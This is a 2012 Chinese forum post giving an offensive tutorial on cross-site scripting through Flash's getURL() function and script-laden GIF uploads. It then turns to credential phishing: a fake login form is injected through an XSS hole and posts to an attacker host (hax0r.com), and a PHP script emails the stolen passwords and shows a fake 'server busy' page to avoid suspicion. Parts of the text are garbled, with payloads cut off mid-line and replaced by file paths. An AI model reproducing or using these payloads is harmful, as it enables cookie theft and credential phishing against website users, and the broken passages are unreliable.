灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:3185回复:1

怎样利用Flash进行XSS攻击

楼主#
更多 发布于:2012-08-23 23:16


暮色地带
Flash是用于复杂的动画,仿真和游戏开发等。非常有趣的是Flash的getURL()动作,它可以使我们的页面重定向到函数指定的页面,改函数的语法如下:
getURL(url:String, [window: String,[method:String]])
例如:getURL(”http://victime.com/login.php?logout=true”,”_self“);
该函数的各个参数为:
url: 重定向的网站url
window: 设置重定向的窗口打开方式 (_self, _blank…)
method: 请求页面的方式 GET 或者 POST
下面运用actionscrip来弹出警告窗口的方法:
getURL(”javascript:alert(’XSS’”);
在2002年的时候,曾经公布这个函数的危险性,例如可以用下面的方式来获取浏览者的cookie:
getURL(”javascript:alert(document.cookie)”)
在2005年12月的时候,对getURL()进行了改进,改进了在flash文件签名中输入XSS语句从而导致永久性XSS攻击的漏洞。官方采用这种更新是为了防止再次爆发MySpace中传播Samy Xss蠕虫,Samy可以隐藏在flash中******cookies。
但是这样的更新就解决了XSS吗?不,目前还没有完全解决flash的XSS问题,下面的例子来说明,在flash文件中输入:
GetURL(”http://www.victime.com/page.php?var=<script src=’/Article/UploadFiles/200908/20090814235732882.gif上传到一个免费的图片网站上,再查看你的图片,XSS就产生了……不要用Mozillia Firefox来浏览图片,因为Mozillia Firefox不能运行该脚本,该攻击适用于internet explorer浏览器。
为什么在脚本前面添加GIF89a呢?一般上传图片会这样的,在各个.gif文件中检查是否包含’GIF89a’代码。这个通过检查文件GIF89a代码对上传结果进行确认的漏洞,并没有检查图片里的恶意代码。
GIF89a<script src=”/Article/UploadFiles/200908/20090814235733559.jpg及其它格式的图片就可以知道了,例如一个png格式的文件:‰PNG
PNG = ‰PNG
GIF = GIF89a
JPG = ???à JFIF
BMP = BMF?
为了安全不能仅仅依靠getimagesize()函数来检查图片。
第八章、利用XSS漏洞进行钓鱼
你了解钓鱼(phishing)的目的吗?你了解XSS的目的吗?
在我们的例子中,将有必要找一个存在XSS漏洞的网站,并在一个form表单里注入一个URL重定向的代码:
<p>Enter your login and password, thank:</p>
<form action=”http://hax0r.com/mail.php“>
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value= OK >
</form>
你已经猜到这个脚本将冒充一个form表单来发送用户名及密码给代你,下面的php文件是用来发送email的(mail.php):
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd“>
<html xmlns=”http://www.w3.org/1999/xhtml“>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ />
<title>Error</title>
<style type=”text/css”>
<!–
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
–>
</style></head>
<?php
$login = $HTTP_GET_VARS["login"];
$password = $HTTP_GET_VARS["password"];
mail(”email@example.com“, “Cookie stealed ! - thx xyli :)”, $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body>
</html>
用户提交后看到这个页面会认为网页等待与超载是正常的,而不会有所怀疑什么,我相信你已经明白这个道理了?


喜欢0 评分0
coolman
精灵王
精灵王
  • 注册日期2013-03-17
  • 发帖数215
  • QQ
  • 火币958枚
  • 粉丝4
  • 关注3
  • 忠实会员
  • 最爱沙发
沙发#
发布于:2014-03-19 22:24

回复(0) 喜欢(0)     评分
游客

返回顶部